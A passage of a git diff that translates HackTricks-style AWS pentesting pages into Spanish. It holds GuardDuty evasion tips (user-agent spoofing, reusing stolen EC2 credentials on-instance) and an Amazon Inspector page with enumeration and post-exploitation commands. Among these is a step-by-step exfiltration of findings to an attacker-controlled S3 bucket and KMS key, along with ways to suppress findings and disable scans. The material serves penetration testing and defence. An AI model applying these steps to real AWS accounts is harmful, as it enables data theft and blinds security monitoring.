afectarán**, y lo que es mejor, tienes la **documentación completa de cada uno de ellos** en [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) así que échale un vistazo antes de realizar cualquier acción para no ser atrapado. -Here you have a couple of examples of specific GuardDuty findings bypasses: +Aquí tienes un par de ejemplos de bypass de hallazgos específicos de GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDuty detecta solicitudes de API de AWS de herramientas comunes de pruebas de penetración y activa un [Hallazgo de PenTest](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +Se detecta por el **nombre del agente de usuario** que se pasa en la solicitud de API.\ +Por lo tanto, **modificar el agente de usuario** es posible para evitar que GuardDuty detecte el ataque. -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +Para prevenir esto, puedes buscar en el script `session.py` en el paquete `botocore` y modificar el agente de usuario, o configurar Burp Suite como el proxy de AWS CLI y cambiar el agente de usuario con el MitM o simplemente usar un sistema operativo como Ubuntu, Mac o Windows que evitará que se active esta alerta. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +Extraer credenciales de EC2 del servicio de metadatos y **utilizarlas fuera** del entorno de AWS activa la alerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Por el contrario, emplear estas credenciales desde tu instancia de EC2 activa la alerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Sin embargo, **usar las credenciales en otra instancia de EC2 comprometida dentro de la misma cuenta no se detecta**, sin generar ninguna alerta. > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> Por lo tanto, **usa las credenciales exfiltradas desde dentro de la máquina** donde las encontraste para no activar esta alerta. -## References +## Referencias - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..c3de75c95 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspector es un servicio avanzado y automatizado de gestión de vulnerabilidades diseñado para mejorar la seguridad de su entorno AWS. Este servicio escanea continuamente las instancias de Amazon EC2, las imágenes de contenedor en Amazon ECR, Amazon ECS y las funciones de AWS Lambda en busca de vulnerabilidades y exposiciones de red no intencionadas. Al aprovechar una robusta base de datos de inteligencia de vulnerabilidades, Amazon Inspector proporciona hallazgos detallados, incluidos niveles de severidad y recomendaciones de remediación, ayudando a las organizaciones a identificar y abordar proactivamente los riesgos de seguridad. Este enfoque integral asegura una postura de seguridad fortalecida en varios servicios de AWS, ayudando en el cumplimiento y la gestión de riesgos. ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Los hallazgos en Amazon Inspector son informes detallados sobre vulnerabilidades y exposiciones descubiertas durante el escaneo de instancias de EC2, repositorios de ECR o funciones de Lambda. Según su estado, los hallazgos se clasifican como: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Active**: El hallazgo no ha sido remediado. +- **Closed**: El hallazgo ha sido remediado. +- **Suppressed**: El hallazgo ha sido marcado con este estado debido a una o más **reglas de supresión**. -Findings are also categorized into the next three types: +Los hallazgos también se clasifican en los siguientes tres tipos: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Package**: Estos hallazgos se relacionan con vulnerabilidades en paquetes de software instalados en sus recursos. Ejemplos incluyen bibliotecas desactualizadas o dependencias con problemas de seguridad conocidos. +- **Code**: Esta categoría incluye vulnerabilidades encontradas en el código de aplicaciones que se ejecutan en sus recursos de AWS. Los problemas comunes son errores de codificación o prácticas inseguras que podrían llevar a brechas de seguridad. +- **Network**: Los hallazgos de red identifican exposiciones potenciales en configuraciones de red que podrían ser explotadas por atacantes. Estos incluyen puertos abiertos, protocolos de red inseguros y grupos de seguridad mal configurados. #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Los filtros y las reglas de supresión en Amazon Inspector ayudan a gestionar y priorizar los hallazgos. Los filtros le permiten refinar los hallazgos según criterios específicos, como severidad o tipo de recurso. Las reglas de supresión le permiten suprimir ciertos hallazgos que se consideran de bajo riesgo, que ya han sido mitigados, o por cualquier otra razón importante, evitando que sobrecarguen sus informes de seguridad y permitiéndole centrarse en problemas más críticos. #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Un Software Bill of Materials (SBOM) en Amazon Inspector es una lista de inventario anidada exportable que detalla todos los componentes dentro de un paquete de software, incluidas bibliotecas y dependencias. Los SBOM ayudan a proporcionar transparencia en la cadena de suministro de software, permitiendo una mejor gestión de vulnerabilidades y cumplimiento. Son cruciales para identificar y mitigar riesgos asociados con componentes de software de código abierto y de terceros. ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspector ofrece la capacidad de exportar hallazgos a Amazon S3 Buckets, Amazon EventBridge y AWS Security Hub, lo que le permite generar informes detallados de vulnerabilidades y exposiciones identificadas para un análisis posterior o compartir en una fecha y hora específicas. Esta función admite varios formatos de salida, como CSV y JSON, lo que facilita la integración con otras herramientas y sistemas. La funcionalidad de exportación permite la personalización de los datos incluidos en los informes, lo que le permite filtrar hallazgos según criterios específicos como severidad, tipo de recurso o rango de fechas e incluir por defecto todos sus hallazgos en la región de AWS actual con un estado Activo. -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +Al exportar hallazgos, se necesita una clave de Key Management Service (KMS) para cifrar los datos durante la exportación. Las claves KMS aseguran que los hallazgos exportados estén protegidos contra el acceso no autorizado, proporcionando una capa adicional de seguridad para la información sensible sobre vulnerabilidades. #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspector ofrece robustas capacidades de escaneo para instancias de Amazon EC2 para detectar vulnerabilidades y problemas de seguridad. Inspector comparó los metadatos extraídos de la instancia de EC2 con reglas de avisos de seguridad para producir vulnerabilidades de paquetes y problemas de accesibilidad de red. Estos escaneos se pueden realizar a través de métodos **basados en agente** o **sin agente**, dependiendo de la configuración de los ajustes de **modo de escaneo** de su cuenta. -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Agent-Based**: Utiliza el agente de AWS Systems Manager (SSM) para realizar escaneos en profundidad. Este método permite una recopilación y análisis de datos exhaustivos directamente desde la instancia. +- **Agentless**: Proporciona una alternativa ligera que no requiere la instalación de un agente en la instancia, creando un snapshot de EBS de cada volumen de la instancia de EC2, buscando vulnerabilidades y luego eliminándolo; aprovechando la infraestructura existente de AWS para el escaneo. -The scan mode determines which method will be used to perform EC2 scans: +El modo de escaneo determina qué método se utilizará para realizar escaneos de EC2: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Agent-Based**: Implica la instalación del agente SSM en instancias de EC2 para una inspección profunda. +- **Hybrid Scanning**: Combina métodos basados en agente y sin agente para maximizar la cobertura y minimizar el impacto en el rendimiento. En aquellas instancias de EC2 donde se instala el agente SSM, Inspector realizará un escaneo basado en agente, y para aquellas donde no hay agente SSM, el escaneo realizado será sin agente. -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +Otra característica importante es la **inspección profunda** para instancias de EC2 Linux. Esta función ofrece un análisis exhaustivo del software y la configuración de las instancias de EC2 Linux, proporcionando evaluaciones detalladas de vulnerabilidades, incluidas vulnerabilidades del sistema operativo, vulnerabilidades de aplicaciones y configuraciones incorrectas, asegurando una evaluación de seguridad integral. Esto se logra a través de la inspección de **rutas personalizadas** y todos sus subdirectorios. Por defecto, Amazon Inspector escaneará lo siguiente, pero cada cuenta miembro puede definir hasta 5 rutas personalizadas más, y cada administrador delegado hasta 10: - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspector proporciona robustas capacidades de escaneo para imágenes de contenedor de Amazon Elastic Container Registry (ECR), asegurando que las vulnerabilidades de paquetes sean detectadas y gestionadas de manera eficiente. -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Basic Scanning**: Este es un escaneo rápido y ligero que identifica vulnerabilidades conocidas de paquetes de OS en imágenes de contenedor utilizando un conjunto estándar de reglas del proyecto de código abierto Clair. Con esta configuración de escaneo, sus repositorios serán escaneados al hacer push, o realizando escaneos manuales. +- **Enhanced Scanning**: Esta opción agrega la función de escaneo continuo además del escaneo al hacer push. El escaneo mejorado profundiza en las capas de cada imagen de contenedor para identificar vulnerabilidades en paquetes de OS y en paquetes de lenguajes de programación con mayor precisión. Analiza tanto la imagen base como cualquier capa adicional, proporcionando una vista integral de los posibles problemas de seguridad. #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspector incluye capacidades de escaneo completas para funciones de AWS Lambda y sus capas, asegurando la seguridad e integridad de las aplicaciones sin servidor. Inspector ofrece dos tipos de escaneo para funciones de Lambda: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Lambda standard scanning**: Esta función predeterminada identifica vulnerabilidades de software en las dependencias del paquete de aplicación añadidas a su función de Lambda y capas. Por ejemplo, si su función utiliza una versión de una biblioteca como python-jwt con una vulnerabilidad conocida, genera un hallazgo. +- **Lambda code scanning**: Analiza el código de la aplicación personalizada en busca de problemas de seguridad, detectando vulnerabilidades como fallos de inyección, filtraciones de datos, criptografía débil y falta de cifrado. Captura fragmentos de código que destacan las vulnerabilidades detectadas, como credenciales codificadas. Los hallazgos incluyen sugerencias detalladas de remediación y fragmentos de código para solucionar los problemas. #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspector incluye escaneos de CIS para evaluar los sistemas operativos de las instancias de Amazon EC2 en comparación con las recomendaciones de mejores prácticas del Center for Internet Security (CIS). Estos escaneos aseguran que las configuraciones se adhieran a las bases de seguridad estándar de la industria. -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuration**: Los escaneos de CIS evalúan si las configuraciones del sistema cumplen con recomendaciones específicas del CIS Benchmark, con cada verificación vinculada a un ID de verificación y título del CIS. +- **Execution**: Los escaneos se realizan o programan según las etiquetas de las instancias y los horarios definidos. +- **Results**: Los resultados posteriores al escaneo indican qué verificaciones pasaron, se saltaron o fallaron, proporcionando información sobre la postura de seguridad de cada instancia. ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,101 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - -### Post Exploitation +### Post Explotación > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> Desde la perspectiva de un atacante, este servicio puede ayudar al atacante a encontrar vulnerabilidades y exposiciones de red que podrían ayudarle a comprometer otras instancias/contenedores. > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> Sin embargo, un atacante también podría estar interesado en interrumpir este servicio para que la víctima no pueda ver vulnerabilidades (todas o específicas). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +Un atacante podría generar informes detallados de vulnerabilidades o listas de materiales de software (SBOM) y exfiltrarlos de su entorno de AWS. Esta información podría ser explotada para identificar debilidades específicas, software desactualizado o dependencias inseguras, lo que permitiría ataques dirigidos. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +El siguiente ejemplo muestra cómo exfiltrar todos los hallazgos activos de Amazon Inspector a un bucket de Amazon S3 controlado por el atacante con una clave de Amazon KMS controlada por el atacante: -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Crea un bucket de Amazon S3** y adjunta una política a él para que sea accesible desde el Amazon Inspector de la víctima: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **Crea una clave de Amazon KMS** y adjunta una política a ella para que sea utilizable por el Amazon Inspector de la víctima: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. Ejecuta el comando para **crear el informe de hallazgos** exfiltrándolo: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **Impacto Potencial**: Generación y exfiltración de informes detallados de vulnerabilidades y software, obteniendo información sobre vulnerabilidades específicas y debilidades de seguridad. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +Un atacante podría cancelar la generación del informe de hallazgos especificado o del informe SBOM, impidiendo que los equipos de seguridad reciban información oportuna sobre vulnerabilidades y la lista de materiales de software (SBOM), retrasando la detección y remediación de problemas de seguridad. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **Impacto Potencial**: Disrupción de la monitorización de seguridad y prevención de la detección y remediación oportuna de problemas de seguridad. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +Un atacante con estos permisos podría manipular las reglas de filtrado que determinan qué vulnerabilidades y problemas de seguridad se informan o suprimen (si la **acción** está configurada en SUPPRESS, se crearía una regla de supresión). Esto podría ocultar vulnerabilidades críticas de los administradores de seguridad, facilitando la explotación de estas debilidades sin detección. Al alterar o eliminar filtros importantes, un atacante también podría crear ruido inundando el sistema con hallazgos irrelevantes, obstaculizando la monitorización y respuesta de seguridad efectivas. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +285,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **Impacto Potencial**: Ocultación o supresión de vulnerabilidades críticas, o inundación del sistema con hallazgos irrelevantes. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +Un atacante podría interrumpir significativamente la estructura de gestión de seguridad. -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- Al deshabilitar la cuenta de administrador delegado, el atacante podría impedir que el equipo de seguridad acceda y gestione la configuración y los informes de Amazon Inspector. +- Habilitar una cuenta de administrador no autorizada permitiría a un atacante controlar las configuraciones de seguridad, potencialmente deshabilitando escaneos o modificando configuraciones para ocultar actividades maliciosas. > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> Se requiere que la cuenta no autorizada esté en la misma Organización que la víctima para convertirse en el administrador delegado. > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> Para que la cuenta no autorizada se convierta en el administrador delegado, también se requiere que después de que el administrador delegado legítimo sea deshabilitado, y antes de que la cuenta no autorizada sea habilitada como el administrador delegado, el administrador legítimo debe ser desregistrado como el administrador delegado de la organización. Esto se puede hacer con el siguiente comando (**`organizations:DeregisterDelegatedAdministrator`** permiso requerido): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **Impacto Potencial**: Disrupción de la gestión de seguridad. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +Un atacante podría manipular la asociación de cuentas miembros dentro de una organización de Amazon Inspector. Al asociar cuentas no autorizadas o desasociar cuentas legítimas, un atacante podría controlar qué cuentas se incluyen en los escaneos de seguridad y en los informes. Esto podría llevar a que cuentas críticas sean excluidas de la monitorización de seguridad, permitiendo al atacante explotar vulnerabilidades en esas cuentas sin ser detectado. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Esta acción debe ser realizada por el administrador delegado. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **Impacto Potencial**: Exclusión de cuentas clave de los escaneos de seguridad, lo que permite la explotación no detectada de vulnerabilidades. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +Un atacante con el permiso `inspector2:Disable` podría deshabilitar los escaneos de seguridad en tipos de recursos específicos (EC2, ECR, Lambda, código de Lambda) sobre las cuentas especificadas, dejando partes del entorno de AWS sin supervisión y vulnerables a ataques. Además, gracias a los permisos **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, un atacante podría volver a habilitar escaneos selectivamente para evitar la detección de configuraciones sospechosas. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Esta acción debe ser realizada por el administrador delegado. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **Impacto Potencial**: Creación de puntos ciegos en la monitorización de seguridad. #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +Un atacante con este permiso podría actualizar las configuraciones para su organización de Amazon Inspector, afectando las características de escaneo predeterminadas habilitadas para nuevas cuentas de miembros. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Esta acción debe ser realizada por el administrador delegado. ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **Impacto Potencial**: Alterar políticas y configuraciones de escaneo de seguridad para la organización. #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +Un atacante podría manipular etiquetas en los recursos de AWS Inspector, que son críticos para organizar, rastrear y automatizar evaluaciones de seguridad. Al alterar o eliminar etiquetas, un atacante podría potencialmente ocultar vulnerabilidades de los escaneos de seguridad, interrumpir los informes de cumplimiento e interferir con los procesos de remediación automatizados, lo que llevaría a problemas de seguridad no controlados y a la integridad del sistema comprometida. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **Impacto Potencial**: Ocultamiento de vulnerabilidades, interrupción de informes de cumplimiento, interrupción de la automatización de seguridad y interrupción de la asignación de costos. -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## Referencias - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - 